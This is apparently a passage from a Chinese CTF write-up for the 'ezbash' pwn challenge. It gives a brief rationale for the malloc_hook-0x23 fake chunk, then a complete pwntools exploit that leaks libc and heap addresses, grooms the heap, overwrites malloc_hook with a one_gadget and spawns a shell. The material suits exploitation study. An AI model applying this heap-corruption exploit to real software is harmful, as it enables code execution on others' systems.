这里为甚不直接使用 malloc_hook.cp 里面 strlen 返回的是 0,会进行 realloc,但是不是个合法的 fakechunk,realloc 会报错,echo 也要 chunk 的头部信息,所以布置在 malloc_hook-0x23,这个天然的 fakechunk, 最后 echo 进去,或者 cp 也行
# exp
赛后我们并没有对 exp 进行重新的整理,比较凌乱
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 from pwn import *r=process('./ezbash' ) elf = ELF('./ezbash' ) hacker = "/$ " def ch (cmd ): r.sendlineafter(hacker,cmd) def ls (ptr ): cmd = b"ls " +ptr ch(cmd) def cat (file ): ch(cmd = b"cat " +file) def cd (addr ): ch(b"cd " +addr) def help (): ch("help" ) def echo (text,filename ): cmd = b"echo " + text +b" -> " +filename ch(cmd) def touch (filename ): ch(b"touch " +filename) def rmv (flag,filename ): if flag==0 : cmd = b"rm -r " +filename else : cmd = b"rm " +filename ch(cmd) def mkdir (filename ): ch(b"mkdir " +filename) def pwd (): ch("pwd" ) def cp (a,b ): cmd = b"cp " +a+b" " +b ch(cmd) def malloc (size,ptr,tail=b'\x00' *0 ): pad = b'a' *size + tail echo(pad,b'cccc' ) cp(b'cccc' ,ptr) def malloc1 (size,ptr,tail=b'\x00' *0 ): pad = b'a' *size + tail echo(pad,b'a' ) cp(b'a' ,ptr) def free (ptr ): cp(b'free' ,ptr) def dbg (): gdb.attach(r) mkdir(b"AAAA" ) touch(b'cccc' ) touch(b'dddd' ) cd(b"AAAA" ) touch(b"BBBB" ) echo(b'a' *0x3f2 ,b"BBBB" ) cd(b"../" ) echo(b'c' *0x3f0 ,b"cccc" ) echo(b'd' *8 ,b'dddd' ) cp(b'dddd' ,b'AAAA' ) cd(b"AAAA" ) cat(b'dddd' ) r.recvuntil(b'd' *8 ) libcbase = u64(r.recv(6 ).ljust(8 ,b'\x00' ))-0x3ebca0 +0x1ff0c0 print ("libcbase : " ,hex (libcbase))malloc_hook = libcbase + 0x1ecb70 -0x23 cd(b'../' ) mkdir(b'ii' ) cp(b'dddd' ,b'ii' ) rmv(0 ,b'ii' ) cd(b"AAAA" ) rmv(1 ,b'dddd' ) cd(b'../' ) echo(b'\x70' ,b'dddd' ) cp(b'dddd' ,b'AAAA' ) cd(b"AAAA" ) cat(b'dddd' ) r.recv() heap_addr = u64(r.recv(6 ).ljust(8 ,b'\x00' )) - 0x001470 fake = heap_addr+0x2800 print ("heap_addr : " ,hex (heap_addr))onegadget = 0xe3b31 +libcbase cd(b'../' ) touch(b"free" ) touch(b'actim' ) touch(b'null' ) malloc(0x2a0 ,b'nop' ) malloc(0x50 ,b'1111' ) malloc(0x110 ,b'2222' ) malloc(0x40 ,b'3' ) malloc(0x40 ,b'4' ) malloc(0x68 ,b'1' ) rmv(1 ,b'3' ) malloc(0x130 ,b'2' ) malloc(0x120 ,b'3' ) malloc(0x130 ,b'5' ) malloc(0x1 ,b'6' ) touch(b'mmmm' ) dbg() malloc(0x68 ,b'1' ,b'\x51\x04' ) free(b'2' ) dbg() mkdir(b'dir' ) malloc(0x70 ,b'dir' ) mkdir(b'dir2' ) mkdir(b'dir3' ) malloc(0 ,b'dir3' ) print ("malloc_hook : " ,hex (malloc_hook))print (p64(malloc_hook))pad = p64(malloc_hook) print (pad[0 :6 ])print (pad[5 :7 ])malloc(0x8 ,b'dir2' ,pad[0 :6 ]) dbg() pad = p64(onegadget) echo(b'a' *(0x23 )+pad[0 :6 ],b'5' ) touch(b'7' ) r.interactive()
题目文件在链接里